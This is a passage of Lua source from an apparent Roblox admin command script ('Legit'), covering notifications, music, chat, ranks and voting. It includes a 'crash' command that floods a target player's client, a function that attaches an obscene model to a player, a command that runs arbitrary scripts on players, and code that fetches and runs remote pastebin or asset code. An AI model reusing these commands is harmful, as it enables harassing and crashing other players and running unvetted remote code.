  2675. TextLabel.Font = "SourceSansBold";
  2676. TextLabel.TextColor3 = Color3.new(1,1,1);
  2677. TextLabel.TextScaled = false;
  2678. TextLabel.TextStrokeTransparency = .4
  2679. TextLabel.TextStrokeColor3 = Color3.new(1,1,1)
  2680. TextLabel.BorderSizePixel = 0;
  2681. TextLabel:TweenPosition(UDim2.new(0,0,0,0),'Out','Quint',2,true);
  2682. wait(tme);
  2683. TextLabel:TweenPosition(UDim2.new(-1,0,0,0),'Out','Quint',2,true);
  2684. wait(tme)
  2685. Notify:Destroy();
  2686. end)();
  2687. end
  2688. function RemoveMusic(Object)
  2689. if Object:IsA('Sound') or Object.ClassName == 'Sound' then
  2690. Object:Destroy'';
  2691. else
  2692. for i, v in pairs(Object:GetChildren()) do
  2693. if v:IsA("Sound") or v.ClassName == 'Sound' then
  2694. v:Destroy'';
  2695. end;
  2696. RemoveMusic(v);
  2697. end;
  2698. end;
  2699. end;
  2700. function ds:Hint(str,tme)
  2701. for i,v in pairs(game:service'Players':GetPlayers()) do
  2702. coroutine.wrap(function()
  2703. if not v:findFirstChild("PlayerGui") then Instance.new("PlayerGui",v) end
  2704. local g = Instance.new("ScreenGui",v.PlayerGui)
  2705. g.Name="Hint"
  2706. local bg = Instance.new("Frame",g)
  2707. bg.BackgroundColor3=Color3.new(0,0,0)
  2708. bg.BackgroundTransparency=.5
  2709. bg.BorderColor3=Color3.new(0,0,0)
  2710. bg.Name="Bg"
  2711. bg.Size=UDim2.new(1,0,0.05,0)
  2712. bg.Visible=false
  2713. local txt = Instance.new("TextLabel",bg)
  2714. txt.BackgroundTransparency=1
  2715. txt.Name="Text"
  2716. txt.Size=UDim2.new(1,0,1,0)
  2717. txt.Font="ArialBold"
  2718. txt.TextColor3=Color3.new(255,255,255)
  2719. txt.TextScaled=true
  2720. txt.TextWrapped=true
  2721. txt.TextStrokeColor3=Color3.new(0,0,0)
  2722. txt.TextStrokeTransparency=0
  2723. txt.Text=str
  2724.  
  2725. bg.Position=UDim2.new(-1,0,0,0)
  2726.  
  2727. txt.Visible=false
  2728. txt.TextStrokeTransparency=1
  2729. txt.TextTransparency=1
  2730.  
  2731. bg.Visible=true
  2732. bg:TweenPosition(UDim2.new(0,0,0,0),"In","Sine",1)
  2733. wait(1)
  2734. bg.Position=UDim2.new(0,0,0,0) -- just in case
  2735. wait(.5)
  2736. txt.Visible=true
  2737. for i = 100,0,-5 do
  2738. txt.TextTransparency=i/100
  2739. txt.TextStrokeTransparency=i/100
  2740. wait()
  2741. end
  2742. wait(tme)
  2743. for i = 0,100,5 do
  2744. txt.TextTransparency=i/100
  2745. txt.TextStrokeTransparency=i/100
  2746. wait()
  2747. end
  2748. bg:TweenPosition(UDim2.new(1,0,0,0),"Out","Quart",.5)
  2749. wait(tme)
  2750. g:Destroy()
  2751. end)()
  2752. end
  2753. end
  2754. function ds:Msg(title,str,tme)
  2755. for i,v in pairs(game:GetService("Players"):GetPlayers'') do
  2756. coroutine.wrap(function(v)
  2757. if not v:findFirstChild'PlayerGui' then Instance.new("PlayerGui",v);end;
  2758. local g = Instance.new("ScreenGui",v.PlayerGui);
  2759. g.Name="Message";
  2760. local bg = Instance.new("Frame",g);
  2761. bg.BackgroundColor3=Color3.new(0,0,0);
  2762. bg.BackgroundTransparency=.5;
  2763. bg.BorderColor3=Color3.new(0,0,0);
  2764. bg.Size=UDim2.new(1,0,1,0);
  2765. bg.Name="Bg";
  2766. bg.Position=UDim2.new(-1,0,0,0);
  2767. local label = Instance.new("TextLabel",bg);
  2768. label.BackgroundTransparency=1;
  2769. label.Name="Label";
  2770. label.Size=UDim2.new(1,0,.1,0);
  2771. label.Font="SourceSansLight"
  2772. label.TextColor3=Color3.new(170,85,255);
  2773. label.TextScaled=true;
  2774. label.TextWrapped=true;
  2775. label.TextStrokeColor3=Color3.new(255,255,255);
  2776. label.TextStrokeTransparency=0;
  2777. label.Text=title
  2778. local txt = Instance.new("TextLabel",bg);
  2779. txt.BackgroundTransparency=1;
  2780. txt.Name="Text";
  2781. txt.Size=UDim2.new(1,0,.9,0);
  2782. txt.Position=UDim2.new(0,0,.1,0);
  2783. txt.Font="SourceSansLight";
  2784. txt.TextColor3=Color3.new(170,85,255);
  2785. txt.TextScaled=true;
  2786. txt.TextWrapped=true;
  2787. txt.TextStrokeColor3=Color3.new(255,255,255);
  2788. txt.TextStrokeTransparency=0;
  2789. txt.Text=str
  2790.  
  2791. bg.Visible=false;
  2792. txt.Visible=false;
  2793. label.Visible=false;
  2794.  
  2795. txt.TextStrokeTransparency=1;
  2796. txt.TextTransparency=1;
  2797. label.TextStrokeTransparency=1;
  2798. label.TextTransparency=1;
  2799.  
  2800. bg.Visible=true;
  2801. bg:TweenPosition(UDim2.new(0,0,0,0),"In","Sine",1);
  2802.  
  2803. wait'1';
  2804. bg.Position=UDim2.new(0,0,0,0);
  2805. wait'.5';
  2806.  
  2807. txt.Visible=true;
  2808. label.Visible=true;
  2809. for i = 100,0,-5 do
  2810. txt.TextTransparency=i/100;
  2811. txt.TextStrokeTransparency=i/100;
  2812. label.TextTransparency=i/100;
  2813. label.TextStrokeTransparency=i/100;
  2814. wait();end;
  2815. wait (tme);
  2816. for i = 0,100,5 do
  2817. txt.TextTransparency=i/100;
  2818. txt.TextStrokeTransparency=i/100;
  2819. label.TextTransparency=i/100;
  2820. label.TextStrokeTransparency=i/100;
  2821. wait'';end;
  2822. bg:TweenPosition(UDim2.new(1,0,0,0),"Out","Quart",.5);
  2823. wait (tme);
  2824. g:Destroy'';
  2825. end)(v);
  2826. end;
  2827. end
  2828. function ds:LOL(p)
  2829. -- thanks rias<3
  2830. local plr = p.Character
  2831. local Shaft = Instance.new("Part", plr)
  2832. Shaft.Name = 'Shaft'
  2833. Shaft.Size = Vector3.new(1, 2.5, 1)
  2834. Shaft.TopSurface = 0
  2835. Shaft.BottomSurface = 0
  2836. Shaft.CanCollide = true
  2837. local Cyln = Instance.new("CylinderMesh", Shaft)
  2838. Cyln.Scale = Vector3.new(0.5, 0.7, 0.5)
  2839. Instance.new("Weld", plr)
  2840. plr.Weld.Part0 = plr.Torso
  2841. plr.Weld.Part1 = plr.Shaft
  2842. plr.Weld.C0 = CFrame.new(0, -0.35, -0.9) * CFrame.fromEulerAnglesXYZ(2.2, 0, 0)
  2843. Shaft.BrickColor = BrickColor.new("Pastel brown")
  2844. local Tip = Instance.new("Part", plr)
  2845. Tip.Name = 'Tip'
  2846. Tip.TopSurface = 0
  2847. Tip.BottomSurface = 0
  2848. Tip.Size = Vector3.new(1, 1, 1)
  2849. Tip.CanCollide = true
  2850. Tip.Touched:connect(function(prt)
  2851. if prt.Parent ~= plr then
  2852. spawn(function()
  2853. for i = 1, 5 do
  2854. local pert = Instance.new("Part", plr)
  2855. pert.CFrame = CFrame.new(prt.Position)
  2856. pert.CanCollide = true
  2857. local mesh = Instance.new("BlockMesh", pert)
  2858. mesh.Scale = Vector3.new(0.2, 0.2, 0.2)
  2859. pert.BrickColor = BrickColor.new("White")
  2860. end
  2861. end)
  2862. end
  2863. end)
  2864. local Cyln2 = Instance.new("SpecialMesh", Tip)
  2865. Cyln2.MeshType = 'Sphere'
  2866. Cyln2.Scale = Vector3.new(0.6, 0.6, 0.6)
  2867. Instance.new("Weld", plr).Name = 'Weld2'
  2868. plr.Weld2.Part0 = plr.Shaft
  2869. plr.Weld2.Part1 = plr.Tip
  2870. plr.Weld2.C0 = CFrame.new(0, -.9, 0)
  2871. Tip.BrickColor = BrickColor.new("Pink")
  2872. -----
  2873. Ball1 = Instance.new("Part", plr)
  2874. Ball1.Name = 'Ball1'
  2875. Ball1.Size = Vector3.new(1, 1, 1)
  2876. Ball1.TopSurface = 0
  2877. Ball1.BottomSurface = 0
  2878. Cyln3 = Instance.new("SpecialMesh", Ball1)
  2879. Cyln3.MeshType = 'Sphere'
  2880. Cyln3.Scale = Vector3.new(0.4, 0.4, 0.4)
  2881. Instance.new("Weld", plr).Name = 'Weld3'
  2882. plr.Weld3.Part0 = plr.Shaft
  2883. plr.Weld3.Part1 = plr.Ball1
  2884. plr.Weld3.C0 = CFrame.new(0.225, .4, 0.2)
  2885. Ball1.BrickColor = BrickColor.new("Pastel brown")
  2886. -----
  2887. Ball2 = Instance.new("Part", plr)
  2888. Ball2.Name = 'Ball2'
  2889. Ball2.Size = Vector3.new(1, 1, 1)
  2890. Ball2.TopSurface = 0
  2891. Ball2.BottomSurface = 0
  2892. Cyln3 = Instance.new("SpecialMesh", Ball2)
  2893. Cyln3.MeshType = 'Sphere'
  2894. Cyln3.Scale = Vector3.new(0.4, 0.4, 0.4)
  2895. Instance.new("Weld", plr).Name = 'Weld4'
  2896. plr.Weld4.Part0 = plr.Shaft
  2897. plr.Weld4.Part1 = plr.Ball2
  2898. plr.Weld4.C0 = CFrame.new(-0.225, .4, 0.2)
  2899. Ball2.BrickColor = BrickColor.new("Pastel brown")
  2900. end
  2901. function NoMusic()
  2902. local KnownObjects = {}
  2903. table.insert(KnownObjects, game)
  2904. local function CollectObjects(X)
  2905. for i, v in pairs(X:GetChildren()) do
  2906. pcall(function()
  2907. CollectObjects(v)
  2908. end)
  2909. table.insert(KnownObjects, v)
  2910. end
  2911. end
  2912. CollectObjects(game)
  2913. for x, y in pairs(KnownObjects) do
  2914. local rr, ee = pcall(function()
  2915. RemoveMusic(y)
  2916. end)
  2917. end
  2918. end
  2919. function Music(ID, name)
  2920. if tonumber(ID) then
  2921. NoMusic()
  2922. local z = Instance.new("Sound", workspace)
  2923. z.SoundId = "http://www.roblox.com/asset/?id="..ID
  2924. z.Looped = true
  2925. z.Volume = 1
  2926. if name == nil or not name or name == '' then
  2927. z.Name = 'Sound'
  2928. else
  2929. z.Name = "Sound: "..name
  2930. end
  2931. z:Play()
  2932. spawn(function()
  2933. wait(0.1)
  2934. z.Parent = game:service'SoundService'
  2935. end)
  2936. return z
  2937. end
  2938. end
  2939. cmdmenu=function(v,speaker)
  2940. _tab((v.NAME),ps.color(speaker),speaker,
  2941. function()
  2942. dmp(speaker)
  2943. _dmtab(speaker)
  2944. t.t(v.NAME,c.cmdc,speaker)
  2945.  
  2946. local pc=c.red
  2947. local ps='You can\'t use this'
  2948.  
  2949. local r=getrank(speaker)
  2950.  
  2951. if r>=v.PERM then pc=c.green ps='You can use this!'end
  2952. t.t('Permission: '..v.PERM,c.white,speaker)
  2953. t.t(ps,pc,speaker)
  2954. t.t(v.DESC,c.white,speaker)
  2955. if v.ALIAS[1]~=nil then
  2956. _tab('Aliases: '..list(v.ALIAS),c.white,speaker)
  2957. end
  2958.  
  2959. end)
  2960. end
  2961.  
  2962. getCommandsWithPerm=function(num)
  2963. local found={}
  2964. for i,v in pairs(cmds)do
  2965. if v.PERM<=num then
  2966. table.insert(found,v)
  2967. end
  2968. end
  2969. return found
  2970. end
  2971.  
  2972. addcmd('cmds','show commands',0,1,
  2973. function(speaker,a,o)
  2974. dmp(speaker)
  2975. local r=getrank(speaker)
  2976. local s=speaker
  2977. local pc=ps.color(speaker)
  2978. _dmtab(speaker)
  2979. _tab('Your rank: '..r,pc,speaker,
  2980. function()
  2981. dmp(speaker)
  2982. local z=getCommandsWithPerm(getrank(speaker))
  2983. _dmtab(speaker)
  2984. ct('Go Back','Really red','cmds',speaker,'')
  2985. for i,v in pairs(z)do
  2986. cmdmenu(v,speaker)
  2987. end
  2988. end)
  2989.  
  2990. for i=0,6 do
  2991. _tab(i..' ['..(rank[i] or 'Player')..']',pc,speaker,
  2992. function()
  2993. dmp(speaker)
  2994. _dmtab(speaker)
  2995. local z=getCommandsWithPerm(i)
  2996. ct('Go Back','Really red','cmds',speaker,'')
  2997. for i,v in pairs(z)do
  2998. cmdmenu(v,speaker)
  2999. end
  3000. end)
  3001. end
  3002. _tab('View all',pc,speaker,
  3003. function()
  3004. dmp(speaker)
  3005. _dmtab(speaker)
  3006. local z=getCommandsWithPerm(10)
  3007. ct('Go Back','Really red','cmds',speaker,'')
  3008. for i,v in pairs(z)do
  3009. cmdmenu(v,speaker)
  3010. end
  3011. end)
  3012. end,{'commands'})
  3013. addcmd('pi','3.14159....',0,0,function(speaker,args)
  3014. _tab(math.pi,'Cyan',speaker)
  3015. end)
  3016. addcmd('ping','output with text\nargs: text to display',0,1,
  3017. function(speaker,args)
  3018. if args[1]~=nil and args[2]~=nil and getrank(speaker)>2 and tonumber(args[1]) then
  3019. for i=1,tonumber(args[1])do
  3020. alert.c(args[2]or 'pong',ps.color(speaker),speaker)
  3021. end
  3022. return
  3023. elseif args[2]~=nil and getrank(speaker)>=2 and _match(args[1],speaker)~={} then
  3024. local plr=_match(args[1],speaker)
  3025. table.foreach(plr,function(k,v)
  3026. alert.c(args[2] or 'pong!',c.white,_plr(v))end)
  3027.  
  3028. else
  3029. alert.c(args[1] or 'pong!',ps.color(speaker),speaker)
  3030. end
  3031. end,
  3032. {'print','out'})
  3033.  
  3034. addcmd('encrypt','encrypt text',0,1,
  3035. function(speaker,args)
  3036. if args[2]~=nil and getrank(speaker)>=2 and _match(args[1],speaker)~={} then
  3037. local plr=_match(args[1],speaker)
  3038. table.foreach(plr,function(k,v)
  3039. alert.c(encrypt(args[2]) or encrypt'pong!',c.white,_plr(v))end)
  3040.  
  3041. else
  3042. alert.c(encrypt(args[1]) or 'pong!',ps.color(speaker),speaker)
  3043. end
  3044. end,
  3045. {'enc'})
  3046. addcmd('decrypt','decrypt text',0,1,
  3047. function(speaker,args)
  3048.  
  3049. if args[2]~=nil and getrank(speaker)>=2 and _match(args[1],speaker)~={} then
  3050. local plr=_match(args[1],speaker)
  3051. table.foreach(plr,function(k,v)
  3052. alert.c(decrypt(args[2]) or decrypt'pong!',c.white,_plr(v))end)
  3053.  
  3054. else
  3055. alert.c(decrypt(args[1]) or 'pong!',ps.color(speaker),speaker)
  3056. end
  3057. end)
  3058.  
  3059. addcmd('privateserver','teleport player to a private server',4,2,
  3060. function(speaker,args)
  3061. local fplr = _match(args[1],speaker)
  3062. local name = tostring(args[2])
  3063. if name ~= nil or name ~= "" then
  3064. for _,plr in pairs(fplr)do
  3065. SendChat.MessageToPlayer(plr,"[Legit]: Teleporting you to "..name.."...",BrickColor.new("Really blue").Color,"Size24","SciFi")
  3066. wait(2)
  3067. priserver(plr,name)
  3068. end
  3069. else
  3070. SendChat.MessageToPlayer(speaker,"[Legit]: Please supply a name",BrickColor.new("Really red").Color,"Size24","SciFi")
  3071. end
  3072. end,{'ps'})
  3073.  
  3074. addcmd('join','join a player',0,1,function(speaker,args)
  3075. local idd = plrs:GetUserIdFromNameAsync(tostring(args[1]))
  3076. local placeId, instanceId = nil
  3077. local success, err = pcall(function()
  3078. local s,e = nil
  3079. s, e, placeId, instanceId = game:GetService("TeleportService"):GetPlayerPlaceInstanceAsync(idd)
  3080. end)
  3081. if success then
  3082. game:GetService("TeleportService"):TeleportToPlaceInstance(placeId, instanceId, speaker)
  3083. elseif err then
  3084. alert.c("System Error: " .. err, ps.color(speaker), speaker)
  3085. end
  3086. end,{'joinplr'})
  3087.  
  3088.  
  3089. addcmd('time','adjust time',0,0,
  3090. function(speaker,args)
  3091. _dmtab(speaker)
  3092. _tab('Midnight','Really black',speaker,function()settime(0)dmp(speaker)end)
  3093. _tab('Morning','White',speaker,function()settime(6)dmp(speaker)end)
  3094. _tab('Noon','White',speaker,function()settime(12)dmp(speaker)end)
  3095. _tab('Evening','Institutional white',speaker,function()settime(18)dmp(speaker)end)
  3096. end,
  3097. {'timemenu'})
  3098.  
  3099.  
  3100. function RemoveM()
  3101. for i, v in pairs(game:GetService('Workspace'):GetChildren()) do
  3102. if v.ClassName == 'Sound' or v:IsA('Sound') then
  3103. v.Looped = false
  3104. v.PlayOnRemove = false
  3105. v:Pause()
  3106. v:Stop()
  3107. v:remove()
  3108. end
  3109. for _,terrain in pairs(workspace:GetChildren())do if terrain.ClassName == 'Sound' or v:IsA('Sound') then
  3110. terrain.Looped = false
  3111. terrain.PlayOnRemove = false
  3112. terrain.Pause()
  3113. terrain:Stop()
  3114. terrain:remove()
  3115. end end
  3116. end
  3117. for i, v in pairs(game:GetService('SoundService'):GetChildren()) do
  3118. if v.ClassName == 'Sound' or v:IsA('Sound') then
  3119. v.Looped = false
  3120. v.PlayOnRemove = false
  3121. v:Pause()
  3122. v:Stop()
  3123. v:remove()
  3124. end
  3125. end
  3126. for i, v in pairs(Children) do
  3127. if v.ClassName == 'Sound' or v:IsA('Sound') then
  3128. v.Looped = false
  3129. v.PlayOnRemove = false
  3130. v:Pause()
  3131. v:Stop()
  3132. v:remove()
  3133. end
  3134. end
  3135. end
  3136.  
  3137. addcmd('dt','dismiss tabs\nargs: player',0,1,
  3138. function(speaker,args)
  3139. if args[1]and hasPermission(speaker,{PERM=4})then
  3140. local fplrs=_match(args[1],speaker)
  3141. table.foreach(fplrs,function(ki,vi)dmp(_plr(vi))end)
  3142. else
  3143. dmp(speaker)
  3144. end
  3145. end,
  3146. {'dismiss','dm'})
  3147. function Orb()
  3148. require(739438506)
  3149. --loadstring(game:service'HttpService':GetAsync("https://pastebin.com/raw/GkKrZV65"))()
  3150. end
  3151. --[[function IRC()
  3152. --require(730997205)
  3153. local remoteirc = game:service'ReplicatedStorage':FindFirstChild("RemoteIRC")
  3154. if not remoteirc then
  3155. loadstring(game:GetService("HttpService"):GetAsync'https://pastebin.com/raw/XHw9ivrX')() local IRCRemote = Instance.new("RemoteEvent",game:service'ReplicatedStorage') IRCRemote.Name = "RemoteIRC"
  3156. else
  3157. SendChat.MessageAll("[Legit]: IRC has already been loaded",BrickColor.new("Really red").Color,"Size24","SourceSansBold")
  3158. end
  3159. end--]]
  3160. --[[function IRCcmd(plr)
  3161. --require(730997205)
  3162. local remoteirc = game:service'ReplicatedStorage':FindFirstChild("RemoteIRC")
  3163. if not remoteirc then
  3164. local plrirc=plr
  3165. if plrirc ~= nil then
  3166. dmp(plrirc)
  3167. alert.c("Run IRC?",c.white,plrirc)
  3168. _tab("Yes","Lime green",plrirc,function()dmp(plrirc) chatlegit("Loading IRC...") loadstring(game:GetService("HttpService"):GetAsync'https://pastebin.com/raw/XHw9ivrX')() IRCRemote = Instance.new("RemoteEvent",game:service'ReplicatedStorage') IRCRemote.Name = "RemoteIRC" end,'')
  3169. _tab("No","Really red",plrirc,function()dmp(plrirc) end,'')
  3170. elseif not plrirc then
  3171. chatlegit("Loading IRC...") loadstring(game:GetService("HttpService"):GetAsync'https://pastebin.com/raw/XHw9ivrX')()
  3172. end
  3173. else
  3174. chatlegit("IRC has already been loaded!")
  3175. end
  3176. end--]]
  3177. function Chatted(t,o)
  3178. if string.sub(t,1,3)=="/e "then
  3179. t=string.sub(t,4)
  3180. end
  3181. end
  3182. function AntiKill(player)
  3183. local s=Children['Tools']["Anti-Kill"]:Clone()
  3184. s.Parscrent=player.Backpack
  3185. end
  3186. function SearchAudio(e)
  3187. local t = game:getService'HttpService';
  3188. local e = "http://rbx.esy.es/apis/SearchMusic.php?param="..tostring(e);
  3189. local e = t:GetAsync(e, true)
  3190. repeat
  3191. wait()
  3192. until e
  3193. local e = t:JSONDecode(e)
  3194. return (e)
  3195. end
  3196.  
  3197. addcmd('ss','ss',6,1,function(speaker,args)
  3198. dmp(speaker)
  3199. if args[1]~=nil then
  3200. local idz=args[1]
  3201. local Songs = SearchAudio(idz)
  3202.  
  3203. local i = 1
  3204. repeat
  3205. local SongName = Songs[i].Name
  3206. local ID = Songs[i].AssetId
  3207. local SongDesc = Songs[i].Description
  3208. local Creator = Songs[i].Creator
  3209. _tab(SongName,ps.color(speaker),speaker,function()
  3210. dmp(speaker)--nice vanish xd
  3211. _tab("Name: "..SongName, "Royal purple",speaker)
  3212. _tab("Description: "..SongDesc, "Royal purple",speaker)
  3213. _tab("Creator: "..Creator, "Royal purple",speaker)
  3214. _tab("ID: "..ID, "Deep orange",speaker)
  3215. _tab("Get Audio", "Deep orange",speaker, function() game:GetService("MarketplaceService"):PromptPurchase(speaker,ID)end)
  3216. _tab("Play", "Lime green",speaker, function()
  3217. for i, v in pairs(game:GetService('Workspace'):GetChildren()) do
  3218. if v.ClassName == 'Sound' or v:IsA('Sound') then
  3219. v.Looped = false
  3220. v.PlayOnRemove = false
  3221. v:Pause()
  3222. v:Stop()
  3223. v:remove()
  3224. end
  3225. end
  3226. for i, v in pairs(game:GetService('SoundService'):GetChildren()) do
  3227. if v.ClassName == 'Sound' or v:IsA('Sound') then
  3228. v.Looped = false
  3229. v.PlayOnRemove = false
  3230. v:Pause()
  3231. v:Stop()
  3232. v:remove()
  3233. end
  3234. end
  3235. for i, v in pairs(Children) do
  3236. if v.ClassName == 'Sound' or v:IsA('Sound') then
  3237. v.Looped = false
  3238. v.PlayOnRemove = false
  3239. v:Pause()
  3240. v:Stop()
  3241. v:remove()
  3242. end
  3243. end
  3244.  
  3245. Sound = Instance.new("Sound")
  3246. Sound.SoundId = "http://www.roblox.com/asset/?id="..ID
  3247. Sound:Play()
  3248. Sound.Parent = speaker.Character
  3249. Sound.Volume = 1
  3250. Sound.Looped = true
  3251. Sound.Name = "MLGSND"
  3252.  
  3253. end)
  3254. end)
  3255. wait()
  3256. i = i + 1
  3257. until i == 30 or i == #Songs
  3258. end
  3259. end,
  3260. {"musicsearch","searchaudio","sa"})
  3261.  
  3262.  
  3263.  
  3264.  
  3265. addcmd('stopmusic','stops music / args: deep',3,0,
  3266. function(speaker,args)
  3267. NoMusic()
  3268. end,
  3269. {'sm'})
  3270.  
  3271.  
  3272. addcmd('net','Same thing as players;show connected players',0,0,
  3273. function(speaker,args)
  3274. dmp(speaker)
  3275. for i,v in pairs(plrs:GetPlayers())do
  3276. --local cl=rank[getrank(v.Name)]
  3277. local cl=ps.color(v.Name)
  3278. if cl==nil then cl='White'end
  3279. --if speaker==v then cl=c.snd end
  3280. _tab(v.Name,cl,speaker,function()
  3281. if getrank(speaker)>getrank(v) and getrank(speaker)>3 or speaker==v then
  3282. dmp(speaker)
  3283. local plr=v
  3284. plrmen(v,speaker,'net')
  3285. end
  3286. end)
  3287. end
  3288. end,
  3289. {'plrs','players'})
  3290.  
  3291. addcmd('cred','show Legit credits',0,0,
  3292. function(speaker)
  3293. dmp(speaker)
  3294.  
  3295. print('MLG INSTANCE',tostring(ver))
  3296. alert.c('Legit v'..ver,ps.color(speaker),speaker)
  3297. alert.c('your rank: '..getrank(speaker),ps.color(speaker),speaker)
  3298. _tab('say '..prefix..'cmds'..suffix..' to get your commands',ps.color(speaker),speaker,function()dmp(speaker)chat("cmds",speaker)end,'')
  3299. alert.c('Created By CoolMLGPlayer, TheLuaDoge and PointCoded',ps.color(speaker),speaker)
  3300.  
  3301. end,
  3302. {'cred'})
  3303.  
  3304. addcmd('dtall','dismiss all players tabs',4,0,
  3305. function()
  3306. for i,v in pairs(tabs)do
  3307. dmp(i)
  3308. end
  3309. end,
  3310. {'dismissall'})
  3311.  
  3312. addcmd('save','saves the stuff',2e9,0,
  3313. function(speaker)
  3314. ds.save()
  3315. alert.c('saved the stuff','Lime green',speaker)
  3316. end)
  3317.  
  3318. addcmd('stime','Startup time \nHow long it took the tabs to start',6,0,
  3319. function(speaker)
  3320. alert.c(startuptime .. ' miliseconds','Deep orange',speaker)
  3321. end)
  3322. addcmd('m','Message to the Server\nargs: text to display',3,1,
  3323. function(speaker,args)
  3324.  
  3325. if args[1]~=nil and args[2]~=nil and getrank(speaker)>2 and tonumber(args[1]) then
  3326. for i=1,tonumber(args[1])do
  3327. funcs.Msg(speaker.Name,args[2]or 'nil',5)
  3328. end
  3329. return
  3330. elseif args[2]~=nil and getrank(speaker)>=2 and _match(args[1],speaker)~={} then
  3331. local plr=_match(args[1],speaker)
  3332. table.foreach(plr,function(k,v)
  3333. funcs.Msg(speaker.Name,args[2]or 'nil',5)
  3334. end)
  3335. else
  3336. funcs.Msg(speaker.Name,args[1]or 'nil',5)
  3337. end
  3338. end,
  3339. {'message','mes'})
  3340. addcmd('nl','runs a local script on a Player',1337,2,
  3341. function(speaker,args)
  3342. local fplr = _match(args[1],speaker)
  3343. local sourcee = tostring(args[2])
  3344. for _,v in pairs(fplr)do
  3345. NewLocal(v,sourcee)
  3346. end
  3347. end)
  3348. addcmd('crash','crashes someone',5,1,
  3349. function(speaker,args)
  3350. local fplr=_match(args[1],speaker)
  3351. for _,v in pairs(fplr) do
  3352. for i=1,150000 do
  3353. local hb=Instance.new("HopperBin",v.Backpack)
  3354. hb.Name="LegitHB"
  3355. end
  3356. end
  3357. end)
  3358. addcmd('sym','System Message to the Server\nargs: text to display',5,1,
  3359. function(speaker,args)
  3360.  
  3361. if args[1]~=nil and args[2]~=nil and getrank(speaker)>2 and tonumber(args[1]) then
  3362. for i=1,tonumber(args[1])do
  3363. funcs.Msg("Legit System Message",args[2]or 'nil',5)
  3364. end
  3365. return
  3366. elseif args[2]~=nil and getrank(speaker)>=2 and _match(args[1],speaker)~={} then
  3367. local plr=_match(args[1],speaker)
  3368. table.foreach(plr,function(k,v)
  3369. funcs.Msg("Legit System Message",args[2]or 'nil',5)
  3370. end)
  3371. else
  3372. funcs.Msg("Legit System Message",args[1]or 'nil',5)
  3373. end
  3374. end,
  3375. {'systemmessage','sysmes'})
  3376. addcmd('pri','opens pri options',5,0,
  3377. function(speaker,args)
  3378. local sss='off'
  3379. local pc=c.red
  3380. if pri then sss='on';pc='Lime green' end
  3381. dmp(speaker)
  3382. _tab('pri is '..sss,pc,speaker)
  3383. _tab((pri and '[DISABLE]') or '[ENABLE]',pri and 'Really red' or 'Lime green',speaker,function()
  3384. dmp(speaker)
  3385. pri=not pri
  3386. if pri then
  3387. for i,v in pairs(plrs:GetPlayers'')do
  3388. if getrank(v.Name)<1 then Kick(v)end
  3389. end
  3390. end
  3391. alert.c('pri was '..(pri and 'enabled' or 'disabled'),c.white,speaker)
  3392. end)
  3393. end)
  3394. addcmd('cm','Chat Message in OxChat\nargs: text to display',6,1,
  3395. function(speaker,args)
  3396. if args[1]~=nil and args[2]~=nil and getrank(speaker)>2 and tonumber(args[1]) then
  3397. for i=1,tonumber(args[1])do
  3398. run("[Legit System]",args[2]or 'nil')
  3399. end
  3400. return
  3401. elseif args[2]~=nil and getrank(speaker)>=2 and _match(args[1],speaker)~={} then
  3402. local plr=_match(args[1],speaker)
  3403. table.foreach(plr,function(k,v)
  3404. run("[Legit System]",args[2]or 'nil')
  3405. end)
  3406. else
  3407. run("[Legit System]",args[1]or 'nil')
  3408. end
  3409. end,
  3410. {'chatmes','chatmessage'})
  3411. addcmd('pcm','Player Chat Message in OxChat\nargs: text to display',5,1,
  3412. function(speaker,args)
  3413. if args[1]~=nil and args[2]~=nil and getrank(speaker)>2 and tonumber(args[1]) then
  3414. for i=1,tonumber(args[1])do
  3415. run("["..speaker.Name.."]",args[2]or 'nil')
  3416. end
  3417. return
  3418. elseif args[2]~=nil and getrank(speaker)>=2 and _match(args[1],speaker)~={} then
  3419. local plr=_match(args[1],speaker)
  3420. table.foreach(plr,function(k,v)
  3421. run("["..speaker.Name.."]",args[2]or 'nil')
  3422. end)
  3423. else
  3424. run("["..speaker.Name.."]",args[1]or 'nil')
  3425. end
  3426. end,
  3427. {'plrchatmes','playerchatmessage'})
  3428. addcmd('fixlighting','Fixes lighting properties',3,0,
  3429. function()
  3430. local l=game:service'Lighting'
  3431. l.Ambient=_rgb(178,178,178)
  3432. l.Brightness=1
  3433. l.Outlines=false
  3434. l.TimeOfDay=14
  3435. end,
  3436. {'fixl'})
  3437.  
  3438. promptvote=function(v,q)
  3439. _tab(q,c.snd,v,'','',10)
  3440. _tab('vote yes',c.green,v,function()dmp(v)vote.y=vote.y+1;alert.p('Vote counted',v)end,'',10)
  3441. _tab('vote no','Really red',v,function()dmp(v)vote.n=vote.n+1;alert.p('Vote counted',v)end,'',10)
  3442. _tab('no vote','White',v,function()dmp(v);end,'',10)
  3443. end
  3444.  
  3445. addcmd('vote','vote\nargs: plr/tp,(yn,k,b)',4,0,
  3446. function(speaker,args)
  3447.  
  3448. if args[1]~=nil and args[2]~=nil then
  3449. q=args[1]
  3450. vote.y=0;
  3451. vote.n=0;
  3452. local plr=nil
  3453. if args[2]:lower()=='k'then
  3454. plr=_plr(q)
  3455. if plr~=nil then
  3456. for i,v in pairs(plrs:getPlayers())do
  3457. promptvote(v,'Vote: Kick '..plr.Name..'?')
  3458. vote.topic='Kick '..plr.Name..'?'
  3459. action='k'
  3460. end
  3461. end
  3462. elseif args[2]:lower()=='b'then
  3463. plr=_plr(q)
  3464. if plr~=nil then
  3465. for i,v in pairs(plrs:getPlayers())do
  3466. promptvote(v,'Vote: Ban '..plr.Name..'?')
  3467. vote.topic='Ban '..plr.Name..'?'
  3468. action='b'
  3469. end
  3470. end
  3471. elseif args[2]:lower()=='yn'then
  3472. for i,v in pairs(plrs:getPlayers())do
  3473. promptvote(v,'Vote: '..q)
  3474. vote.topic=q
  3475. end
  3476. end
  3477. end
  3478. if args[1] ==nil then return end
  3479. if inTable({'view','results','check'},args[1]:lower()) then
  3480. delay(0,function()
  3481. if vote.topic~='' then
  3482. _dmtab(speaker)
  3483. _tab('vote results',c.white,speaker)
  3484. _tab('topic: '..vote.topic,'Bright blue',speaker)
  3485. _tab('yes: '..vote.y,c.green,speaker)
  3486. _tab('no: '..vote.n,'Really red',speaker)
  3487. if 1+1==3 and vote.y>vote.n and inTable({'k','b'},action:lower())then
  3488. _tab('vote succeeded. click here to execute.','New Yeller',speaker,
  3489. function()
  3490. dmp(speaker)
  3491. local zz=action:lower()
  3492. if zz=='k'then
  3493. Kick(_plr(q))
  3494. t.c('kicked player','Really red',speaker,4)
  3495. elseif zz=='b'then
  3496. setrank(v.Name,-1)
  3497. Kick(v)
